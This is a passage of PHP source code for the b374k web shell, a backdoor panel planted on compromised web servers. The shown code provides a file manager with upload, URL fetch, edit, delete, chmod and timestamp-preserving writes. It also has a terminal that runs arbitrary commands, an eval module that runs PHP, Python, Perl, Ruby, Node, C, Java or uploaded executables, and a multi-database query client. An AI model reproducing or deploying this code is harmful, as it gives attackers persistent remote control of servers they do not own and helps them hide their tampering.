				$cboxException = " cBoxException";
			}
			else{
				$action = "actionfolder";
				$totalFolders++;
			}
			$output .= "
	<tr data-path=\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\"><td><div class='cBox".$cboxException."'></div></td>
	<td style='white-space:normal;'><a class='navigate'>[ ".html_safe($d)." ]</a><span class='".$action." floatRight'>action</span></td>
	<td>DIR</td>";
			foreach($cols as $k=>$v){
				$sortable = "";
				if($k=='modified') $sortable = " title='".filemtime($d)."'";
				$output .= "<td".$sortable.">".$v($d)."</td>";
			}
			$output .= "</tr>";
		}
		foreach($allfiles as $f){
			$output .= "
	<tr data-path=\"".html_safe(realpath($f))."\"><td><div class='cBox'></div></td>
	<td style='white-space:normal;'><a class='view'>".html_safe($f)."</a><span class='action floatRight'>action</span></td>
	<td title='".filesize($f)."'>".get_filesize($f)."</td>";
			foreach($cols as $k=>$v){
				$sortable = "";
				if($k=='modified') $sortable = " title='".filemtime($f)."'";
				$output .= "<td".$sortable.">".$v($f)."</td>";
			}
			$output .= "</tr>";
		}
		$output .= "</tbody><tfoot>";

		$colspan = 1 + count($cols);
		$output .= "<tr><td><div class='cBoxAll'></div></td><td>
		<select id='massAction' class='colSpan'>
		<option disabled selected>Action</option>
		<option>cut</option>
		<option>copy</option>
		<option>paste</option>
		<option>delete</option>
		<option disabled>------------</option>
		<option>chmod</option>
		<option>chown</option>
		<option>touch</option>
		<option disabled>------------</option>
		<option>extract (tar)</option>
		<option>extract (tar.gz)</option>
		<option>extract (zip)</option>
		<option disabled>------------</option>
		<option>compress (tar)</option>
		<option>compress (tar.gz)</option>
		<option>compress (zip)</option>
		<option disabled>------------</option>
		</select>
		</td><td colspan='".$colspan."'></td></tr>
		<tr><td></td><td colspan='".++$colspan."'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class='xplSelected'></span></td></tr>
		";
		$output .= "</tfoot></table>";
		return $output;
	}
}

if(!function_exists('eval_get_supported')){
	function eval_get_supported(){
		$eval_supported = array();
		
		$eval_supported[] = "php";

		$check = strtolower(execute("python -h"));
		if(strpos($check,"usage")!==false) $eval_supported[] = "python";

		$check = strtolower(execute("perl -h"));
		if(strpos($check,"usage")!==false) $eval_supported[] = "perl";

		$check = strtolower(execute("ruby -h"));
		if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";

		$check = strtolower(execute("node -h"));
		if(strpos($check,"usage")!==false) $eval_supported[] = "node";
		else{
			$check = strtolower(execute("nodejs -h"));
			if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
		}

		$check = strtolower(execute("gcc --help"));
		if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";

		$check = strtolower(execute("java -help"));
		if(strpos($check,"usage")!==false){
			$check = strtolower(execute("javac -help"));
			if(strpos($check,"usage")!==false) $eval_supported[] = "java";
		}

		return implode(",", $eval_supported);
	}
}

if(!function_exists('eval_go')){
	function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
		$res = "";
		$output = "";
		if($evalOptions!="") $evalOptions = $evalOptions." ";
		if($evalArguments!="") $evalArguments = " ".$evalArguments;

		if($evalType=="php"){
			ob_start();
			eval($evalCode);
			$res = ob_get_contents();
			ob_end_clean();
			return $res;
		}
		elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
			$tmpdir = get_writabledir();
			chdir($tmpdir);

			$res .= "Using dir : ".$tmpdir;
			if(is_writable($tmpdir)){
				$res .= " (writable)
";
				$uniq = substr(md5(time()),0,8);
				$filename = $evalType.$uniq;
				$path = $filename;
				$res .= "Temporary file : ".$path;
				if(write_file($path, $evalCode)){
					$res .= " (ok)
";
					$res .= "Setting permissions : 0755";
					if(chmod($path, 0755)){
						$res .= " (ok)
";
						$cmd = $evalType." ".$evalOptions.$path.$evalArguments;
						$res .= "Execute : ".$cmd."
";
						$output = execute($cmd);
					}
					else $res .= " (failed)
";

					$res .= "Deleting temporary file : ".$path;
					if(unlink($path)) $res .= " (ok)
";
					else $res .= " (failed)
";
				}
				else $res .= " (failed)
";
			}
			else $res .= " (not writable)
";

			$res .= "Finished...";
			return $res."{[|b374k|]}".$output;
		}
		elseif($evalType=="gcc"){
			$tmpdir = get_writabledir();
			chdir($tmpdir);

			$res .= "Using dir : ".$tmpdir;
			if(is_writable($tmpdir)){
				$res .= " (writable)
";
				$uniq = substr(md5(time()),0,8);
				$filename = $evalType.$uniq.".c";
				$path = $filename;
				$res .= "Temporary file : ".$path;
				if(write_file($path, $evalCode)){
					$res .= " (ok)
";
					$ext = (is_win())? ".exe":".out";
					$pathres = $filename.$ext;
					$evalOptions = "-o ".$pathres." ".$evalOptions;
					$cmd = "gcc ".$evalOptions.$path;
					$res .= "Compiling : ".$cmd;
					$res .= execute($cmd);
					if(is_file($pathres)){
						$res .= " (ok)
";
						$res .= "Setting permissions : 0755";
						if(chmod($pathres, 0755)){
							$res .= " (ok)
";
							$cmd = $pathres.$evalArguments;
							$res .= "Execute : ".$cmd."
";
							$output = execute($cmd);
						}
						else $res .= " (failed)
";
						$res .= "Deleting temporary file : ".$pathres;
						if(unlink($pathres)) $res .= " (ok)
";
						else $res .= " (failed)
";
					}
					else $res .= " (failed)
";
					$res .= "Deleting temporary file : ".$path;
					if(unlink($path)) $res .= " (ok)
";
					else $res .= " (failed)
";
				}
				else $res .= " (failed)
";
			}
			else $res .= " (not writable)
";

			$res .= "Finished...";
			return $res."{[|b374k|]}".$output;
		}
		elseif($evalType=="java"){
			$tmpdir = get_writabledir();
			chdir($tmpdir);

			$res .= "Using dir : ".$tmpdir;
			if(is_writable($tmpdir)){
				$res .= " (writable)
";

				if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
					$classname = trim($r[1]);
					$filename = $classname;
				}
				else{
					$uniq = substr(md5(time()),0,8);
					$filename = $evalType.$uniq;
					$evalCode = "class ".$filename." { ".$evalCode . " } ";
				}

				$path = $filename.".java";
				$res .= "Temporary file : ".$path;
				if(write_file($path, $evalCode)){
					$res .= " (ok)
";
					$cmd = "javac ".$evalOptions.$path;
					$res .= "Compiling : ".$cmd;
					$res .= execute($cmd);
					$pathres = $filename.".class";
					if(is_file($pathres)){
						$res .= " (ok)
";
						$res .= "Setting permissions : 0755";
						if(chmod($pathres, 0755)){
							$res .= " (ok)
";
							$cmd = "java ".$filename.$evalArguments;
							$res .= "Execute : ".$cmd."
";
							$output = execute($cmd);
						}
						else $res .= " (failed)
";
						$res .= "Deleting temporary file : ".$pathres;
						if(unlink($pathres)) $res .= " (ok)
";
						else $res .= " (failed)
";
					}
					else $res .= " (failed)
";
					$res .= "Deleting temporary file : ".$path;
					if(unlink($path)) $res .= " (ok)
";
					else $res .= " (failed)
";
				}
				else $res .= " (failed)
";
			}
			else $res .= " (not writable)
";

			$res .= "Finished...";
			return $res."{[|b374k|]}".$output;
		}
		elseif($evalType=="executable"){
			$tmpdir = get_writabledir();
			chdir($tmpdir);

			$res .= "Using dir : ".$tmpdir;
			if(is_writable($tmpdir)){
				$res .= " (writable)
";
				$uniq = substr(md5(time()),0,8);
				$filename = $evalType.$uniq.".exe";
				$path = $filename;
				$res .= "Temporary file : ".$path;
				if(write_file($path, $evalCode)){
					$res .= " (ok)
";
					$cmd = $path.$evalArguments;
					$res .= "Execute : ".$cmd."
";
					$output = execute($cmd);

					$res .= "Deleting temporary file : ".$path;
					if(unlink($path)) $res .= " (ok)
";
					else $res .= " (failed)
";
				}
				else $res .= " (failed)
";
			}
			else $res .= " (not writable)
";

			$res .= "Finished...";
			return $res."{[|b374k|]}".$output;
		}
		return false;
	}
}

if(!function_exists('output')){
	function output($str){
		$error = @ob_get_contents();
		@ob_end_clean();
		header("Content-Type: text/plain");
		header("Cache-Control: no-cache");
		header("Pragma: no-cache");
		echo $str;
		die();
	}
}
block_bot();
auth();
chdir(get_cwd());
$nav = get_nav(get_cwd());
$p = array_map("rawurldecode", get_post());
$cwd = html_safe(get_cwd());
$GLOBALS['module'] = array();

$explorer_content = "";
if(isset($p['viewEntry'])){
	$path = trim($p['viewEntry']);
	if(is_file($path)){
		$dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
		setcookie("cwd", $dirname);
		chdir($dirname);
		$nav = get_nav($dirname);
		$cwd = html_safe($dirname);
		$explorer_content = view_file($path, "auto");
	}
	elseif(is_dir($path)){
		$path = realpath($path).DIRECTORY_SEPARATOR;
		setcookie("cwd", $path);
		chdir($path);
		$nav = get_nav($path);
		$cwd = html_safe($path);
		$explorer_content = show_all_files($path);
	}
}
else $explorer_content = show_all_files(get_cwd());

$GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content;

$GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='terminalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>".get_cwd()."&gt;</span</td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft' spellcheck='false'></td></tr></table>";


$GLOBALS['module']['eval']['id'] = "eval";
$GLOBALS['module']['eval']['title'] = "Eval";
$GLOBALS['module']['eval']['js_ontabselected'] = "
if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
$GLOBALS['module']['eval']['content'] = "
<table class='boxtbl'>
<thead>
	<tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr>
</thead>
<tbody>
	<tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px;min-height:140px;'></textarea></td></tr>
	
	<tr id='evalAdditional'><td colspan='4'>
		<input type='text' id='evalOptions' value='Options/Switches' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
		<input type='text' id='evalArguments' value='Arguments' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
	</td></tr>
	
	<tr>
		<td style='width:144px;'>
			<select id='evalType'>
				
			</select>
		</td>
		<td colspan='3'>
			<span id='evalSubmit' style='width:120px;' class='button' onclick=\"eval_go();\">run</span>	
		</td>
	</tr>
	
	<tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</pre></td</tr>
</tbody>
</table>
";

$res = "";
if(isset($p['cd'])){
	$path = $p['cd'];
	if(trim($path)=='') $path = dirname(__FILE__);

	$path = realpath($path);
	if(is_file($path)) $path = dirname($path);
	if(is_dir($path)){
		chdir($path);
		$path = $path.DIRECTORY_SEPARATOR;
		setcookie("cwd", $path);
		$res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
		if(isset($p['showfiles'])&&($p['showfiles']=='true')){
			$res .= show_all_files($path);
		}
	}
	else $res = "error";
	output($res);
}
elseif(isset($p['viewFile']) && isset($p['viewType'])){
	$path = trim($p['viewFile']);
	$type = trim($p['viewType']);
	$preserveTimestamp = trim($p['preserveTimestamp']);
	if(is_file($path)){
		$res = view_file($path, $type, $preserveTimestamp);
	}
	else $res = "error";
	output($res);
}
elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
	$renameFile = trim($p['renameFile']);
	$renameFileTo = trim($p['renameFileTo']);
	if(file_exists($renameFile)){
		if(rename($renameFile, $renameFileTo)){
			$res = dirname($renameFileTo);
		}
		else $res = "error";
	}
	else $res = "error";
	output($res);
}
elseif(isset($p['newFolder'])){
	$newFolder = trim($p['newFolder']);
	if(mkdir($newFolder)){
		$res = dirname($newFolder);
	}
	else $res = "error";
	output($res);
}
elseif(isset($p['newFile'])){
	$newFile = trim($p['newFile']);
	if(touch($newFile)){
		$res = dirname($newFile);
	}
	else $res = "error";
	output($res);
}
elseif(isset($p['delete'])){
	$path = trim($p['delete']);
	$dirname = dirname($path);
	if(is_file($path)){
		if(unlink($path)) $res = $dirname;
	}
	elseif(is_dir($path)){
		if(rmdirs($path)>0) $res = $dirname;
	}
	else $res = "error";
	if(file_exists($path)) $res = "error";
	output($res);
}
elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
	$editFilename = trim($p['editFilename']);
	$editInput = trim($p['editInput']);
	$editType = trim($p['editType']);
	$preserveTimestamp = trim($p['preserveTimestamp']);
	$time = filemtime($editFilename);
	if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
	if(write_file($editFilename, $editInput)){
		$res = $editFilename;
		if($preserveTimestamp=='true') touch($editFilename, $time);
	}
	else $res = "error";
	output($res);
}
elseif(isset($p['findType'])){
	$findType = trim($p['findType']);
	$findPath = trim($p['findPath']);
	$findName = trim($p['findName']);
	$findNameRegex = trim($p['findNameRegex']);
	$findNameInsensitive = trim($p['findNameInsensitive']);
	$findContent = trim($p['findContent']);
	$findContentRegex = trim($p['findContentRegex']);
	$findContentInsensitive = trim($p['findContentInsensitive']);
	$findReadable = trim($p['findReadable']);
	$findWritable = trim($p['findWritable']);
	$findExecutable = trim($p['findExecutable']);

	$candidate = get_all_files($findPath);
	if($findType=='file') $candidate = array_filter($candidate, "is_file");
	elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
	else $res = "error";

	foreach($candidate as $k){
		if(($findType=="file")||($findType=="folder")){
			if(!empty($findName)){
				if($findNameRegex=="true"){
					$case = ($findNameInsensitive=="true")? "i":"";
					if(!preg_match("/".$findName."/".$case, basename($k))){
						$candidate = array_diff($candidate, array($k));
					}
				}
				else{
					$check = false;
					if($findNameInsensitive=="true"){
						$check = strpos(strtolower(basename($k)), strtolower($findName))===false;
					}
					else{
						$check = strpos(basename($k), $findName)===false;
					}

					if($check){
						$candidate = array_diff($candidate, array($k));
					}
				}
			}
		}
		if($findType=="file"){
			if(!empty($findContent)){
				$content = read_file($k);
				if($findContentRegex=="true"){
					$case = ($findContentInsensitive=="true")? "i":"";
					if(!preg_match("/".$findContent."/".$case, $content)){
						$candidate = array_diff($candidate, array($k));
					}
				}
				else{
					$check = false;
					if($findContentInsensitive=="true"){
						$check = strpos(strtolower($content), strtolower($findContent))===false;
					}
					else{
						$check = strpos($content, $findContent)===false;
					}
					if($check){
						$candidate = array_diff($candidate, array($k));
					}
				}
			}
		}
	}

	foreach($candidate as $k){
		if($findReadable=="true"){
			if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
		}
		if($findWritable=="true"){
			if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
		}
		if($findExecutable=="true"){
			if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
		}
	}

	if(count($candidate)>0){
		$res = "";
		foreach($candidate as $k){
			$res .= "<p><span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($k)."' onclick='view_entry(this);'>".html_safe($k)."</a></p>";
		}
	}
	else $res = "";
	output($res);
}
elseif(isset($p['ulType'])){
	$ulSaveTo = trim($p['ulSaveTo']);
	$ulFilename = trim($p['ulFilename']);

	if($p['ulType']=='comp'){
		$ulFile = $_FILES['ulFile'];
		if(empty($ulFilename)) $ulFilename = $ulFile['name'];

		if(is_uploaded_file($ulFile['tmp_name'])){
			if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
			$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
			if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
				$res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )";
			}
			else $res = "error";
		}
		else $res = "error";
	}
	elseif($p['ulType']=='url'){
		$ulFile = trim($p['ulFile']);
		if(empty($ulFilename)) $ulFilename = basename($ulFile);
		if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
		$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;

		if(download($ulFile, $newfile)){
			$res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )";
		}
		else $res = "error";
	}
	else $res = "error";
	output($res);
}
elseif(isset($p['download'])){
	$file = trim($p['download']);
	if(is_file($file)){
		header("Content-Type: application/octet-stream");
		header('Content-Transfer-Encoding: binary');
		header("Content-length: ".filesize($file));
		header("Cache-Control: no-cache");
		header("Pragma: no-cache");
		header("Content-disposition: attachment; filename=\"".basename($file)."\";");
		$handler = fopen($file,"rb");
		while(!feof($handler)){
			print(fread($handler, 1024*8));
			@ob_flush();
			@flush();
		}
		fclose($handler);
		die();
	}
}
elseif(isset($p['multimedia'])){
	$file = trim($p['multimedia']);
	$mime_list = get_resource('mime');
	$mime = "";
	$file_ext_pos = strrpos($file, ".");
	if($file_ext_pos!==false){
		$file_ext = trim(substr($file, $file_ext_pos),".");
		if(preg_match("/([^\s]+)\ .*".$file_ext.".*/i", $mime_list, $res)){
			$mime = $res[1];
		}
	}

	if(is_file($file)){
		header("Content-Type: ".$mime);
		header('Content-Transfer-Encoding: binary');
		header("Content-length: ".filesize($file));
		echo "data:".$mime.";base64,".base64_encode(read_file($file));
		die();
	}
}
elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
	$massType = trim($p['massType']);
	$massBuffer = trim($p['massBuffer']);
	$massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
	$massValue = trim($p['massValue']);
	$counter = 0;

	$massBufferArr = explode("
", $massBuffer);
	if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
		if(compress($massType, $massValue, $massBufferArr)){
			$counter++;
			return $counter;
		}
	}
	else{
		foreach($massBufferArr as $k){
			$path = trim($k);
			if(file_exists($path)){
				$preserveTimestamp = filemtime($path);
				if($massType=='delete'){
					if(is_file($path)){
						if(unlink($path)) $counter++;
					}
					elseif(is_dir($path)){
						if(rmdirs($path)>0) $counter++;
					}
				}
				elseif($massType=='cut'){
					$dest = $massPath.basename($path);
					if(rename($path, $dest)){
						$counter++;
						touch($dest, $preserveTimestamp);
					}
				}
				elseif($massType=='copy'){
					$dest = $massPath.basename($path);
					if(is_dir($path)){
						if(copys($path, $dest)>0) $counter++;
					}
					elseif(is_file($path)){
						if(copy($path, $dest)) $counter++;
					}
				}
				elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
					if(decompress($massType, $path, $massValue)){
						$counter++;
						return $counter;
					}
				}
				elseif(!empty($massValue)){
					if($massType=='chmod'){
						if(chmod($path, octdec($massValue))) $counter++;
					}
					elseif($massType=='chown'){
						if(chown($path, $massValue)) $counter++;
					}
					elseif($massType=='touch'){
						if(touch($path, strtotime($massValue))) $counter++;
					}
				}
			}
		}
	}
	if($counter>0) output($counter);
	output('error');
}
elseif(isset($p['viewFileorFolder'])){
	$entry = $p['viewFileorFolder'];
	if(is_file($entry)) output('file');
	elseif(is_dir($entry)) output('folder');
	output('error');
}
elseif(isset($p['terminalInput'])){
	output(html_safe(execute($p['terminalInput'])));
}
elseif(isset($p['evalInput']) && isset($p['evalType'])){
	$evalInput = $p['evalInput'];
	$evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
	$evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
	$evalType = $p['evalType'];

	error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
	@ini_set('html_errors','0');
	@ini_set('display_errors','1');
	@ini_set('display_startup_errors','1');

	$res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
	if($res===false) $res == "error";
	output(html_safe($res));
}
elseif(isset($p['evalGetSupported'])){
	$res = eval_get_supported();
	output($res);
}
$GLOBALS['module']['convert']['id'] = "convert";
$GLOBALS['module']['convert']['title'] = "Convert";
$GLOBALS['module']['convert']['js_ontabselected'] = "
if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
$GLOBALS['module']['convert']['content'] = "
<table class='boxtbl'>
<thead>
	<tr><th colspan='2'><p class='boxtitle'>Convert</p></th></tr>
</thead>
<tbody>
	<tr><td colspan='2'><textarea style='height:140px;min-height:140px;' id='decodeStr'></textarea></td></tr>
	<tr><td colspan='2'><span class='button' onclick='decode_go();'>convert</span></td></tr>
</tbody>
<tfoot id='decodeResult'><tr><td colspan='2'>You can also press ctrl+enter to submit</td></tr></tfoot>
</table>";

if(!function_exists('decode')){
	function decode($str){
		$res = "";
		$length = (int) strlen($str);

		$res .= decode_line("md5", md5($str), "input");
		$res .= decode_line("sha1", sha1($str), "input");

		$res .= decode_line("base64 encode", base64_encode($str), "textarea");
		$res .= decode_line("base64 decode", base64_decode($str), "textarea");


		$res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
		$res .= decode_line("string to hex", bin2hex($str), "textarea");

		$ascii = "";
		for($i=0; $i<$length; $i++){
			$ascii .= ord(substr($str,$i,1))." ";
		}
		$res .= decode_line("ascii char", trim($ascii), "textarea");

		$res .= decode_line("reversed", strrev($str), "textarea");
		$res .= decode_line("lowercase", strtolower($str), "textarea");
		$res .= decode_line("uppercase", strtoupper($str), "textarea");

		$res .= decode_line("urlencode", urlencode($str), "textarea");
		$res .= decode_line("urldecode", urldecode($str), "textarea");
		$res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
		$res .= decode_line("rawurldecode", rawurldecode($str), "textarea");

		$res .= decode_line("htmlentities", html_safe($str), "textarea");

		if(function_exists('hash_algos')){
			$algos = hash_algos();
			foreach($algos as $algo){
				if(($algo=='md5')||($algo=='sha1')) continue;
				$res .= decode_line($algo, hash($algo, $str), "input");
			}
		}

		return $res;
	}
}

if(!function_exists('decode_line')){
	function decode_line($type, $result, $inputtype){
		$res = "<tr><td class='colFit'>".$type."</td><td>";
		if($inputtype=='input'){
			$res .= "<input type='text' value='".html_safe($result)."' ondblclick='this.select();'>";
		}
		else{
			$res .= "<textarea style='height:80px;min-height:80px;' ondblclick='this.select();'>".html_safe($result)."</textarea>";
		}
		return $res;
	}
}

if(isset($p['decodeStr'])){
	$decodeStr = $p['decodeStr'];
	output(decode($decodeStr));
}
$GLOBALS['module']['database']['id'] = "database";
$GLOBALS['module']['database']['title'] = "Database";
$GLOBALS['module']['database']['js_ontabselected'] = "";
$GLOBALS['module']['database']['content'] = "
<table class='boxtbl'>
<thead>
	<tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
</thead>
<tbody>
	<tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
	<tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
	<tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
	<tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
</tbody>
<tfoot>
	<tr class='dbConnectRow'>
		<td style='width:144px;'>
			<select id='dbType'>
			</select>
		</td>
		<td style='width:120px;'><span class='button' onclick=\"db_connect();\">connect</span></td>
		<td class='dbError'></td>
	</tr>
	<tr class='dbQueryRow' style='display:none;'>
		<td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px;'>You can also press ctrl+enter to submit</textarea></td>
	</tr>
	<tr class='dbQueryRow' style='display:none;'>
		<td style='width:120px;'><span class='button' onclick=\"db_run();\">run</span></td>
		<td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">disconnect</span></td>
		<td>Separate multiple commands with a semicolon <span class='strong'>(</span> ; <span class='strong'>)</span></td>
	</tr>
</tfoot>
</table>
<div id='dbBottom' style='display:none;'>
<br>
<table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' style='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></table>
</div>
";

if(!function_exists('sql_connect')){
	function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
		if($sqltype == 'mysql'){
			if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
			elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
		}
		elseif($sqltype == 'mssql'){
			if(function_exists('sqlsrv_connect')){
				$coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
				return @sqlsrv_connect($sqlhost,$coninfo);
			}
			elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
		}
		elseif($sqltype == 'pgsql'){
			$hosts = explode(":", $sqlhost);
			if(count($hosts)==2){
				$host_str = "host=".$hosts[0]." port=".$hosts[1];
			}
			else $host_str = "host=".$sqlhost;
			if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
		}
		elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
		elseif($sqltype == 'sqlite3'){
			if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
			else return false;
		}
		elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
		elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
		elseif($sqltype == 'pdo'){
			if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
			else return false;
		}
		return false;
	}
}

if(!function_exists('sql_query')){
	function sql_query($sqltype, $query, $con){
		if($sqltype == 'mysql'){
			if(class_exists('mysqli')) return $con->query($query);
			elseif(function_exists('mysql_query')) return mysql_query($query);
		}
		elseif($sqltype == 'mssql'){
			if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
			elseif(function_exists('mssql_query')) return mssql_query($query);
		}
		elseif($sqltype == 'pgsql') return pg_query($query);
		elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
		elseif($sqltype == 'sqlite3') return $con->query($query);
		elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
		elseif($sqltype == 'odbc') return odbc_exec($con, $query);
		elseif($sqltype == 'pdo') return $con->query($query);
	}
}

if(!function_exists('sql_num_rows')){
	function sql_num_rows($sqltype,$result){
		if($sqltype == 'mysql'){
			if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
			elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
		}
		elseif($sqltype == 'mssql'){
			if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
			elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
		}
		elseif($sqltype == 'pgsql') return pg_num_rows($result);
		elseif($sqltype == 'oracle') return oci_num_rows($result);
		elseif($sqltype == 'sqlite3'){
			$metadata = $result->fetchArray();
			if(is_array($metadata)) return $metadata['count'];
		}
		elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
		elseif($sqltype == 'odbc') return odbc_num_rows($result);
		elseif($sqltype == 'pdo') return $result->rowCount();
	}
}

if(!function_exists('sql_num_fields')){
	function sql_num_fields($sqltype, $result){
		if($sqltype == 'mysql'){
			if(class_exists('mysqli_result')) return $result->field_count;
			elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
		}
		elseif($sqltype == 'mssql'){
			if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
			elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
		}
		elseif($sqltype == 'pgsql') return pg_num_fields($result);
		elseif($sqltype == 'oracle') return oci_num_fields($result);
		elseif($sqltype == 'sqlite3') return $result->numColumns();
		elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
		elseif($sqltype == 'odbc') return odbc_num_fields($result);
		elseif($sqltype == 'pdo') return $result->columnCount();
	}
}

if(!function_exists('sql_field_name')){
	function sql_field_name($sqltype,$result,$i){
		if($sqltype == 'mysql'){
			if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
			elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
		}
		elseif($sqltype == 'mssql'){
			if(function_exists('sqlsrv_field_metadata')){
				$metadata = sqlsrv_field_metadata($result);
				if(is_array($metadata)){
					$metadata=$metadata[$i];
				}
				if(is_array($metadata)) return $metadata['Name'];
			}
			elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
		}
		elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
		elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
		elseif($sqltype == 'sqlite3') return $result->columnName($i);
		elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
		elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
		elseif($sqltype == 'pdo'){
			$res = $result->getColumnMeta($i);
			return $res['name'];
		}
	}
}

if(!function_exists('sql_fetch_data')){
	function sql_fetch_data($sqltype,$result){
		if($sqltype == 'mysql'){
			if(class_exists('mysqli_result')) return $result->fetch_row();
			elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
		}
		elseif($sqltype == 'mssql'){
			if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
			elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
		}
		elseif($sqltype == 'pgsql') return pg_fetch_row($result);
		elseif($sqltype == 'oracle') return oci_fetch_row($result);
		elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
		elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
		elseif($sqltype == 'odbc') return odbc_fetch_array($result);
		elseif($sqltype == 'pdo') return $result->fetch(2);
	}
}

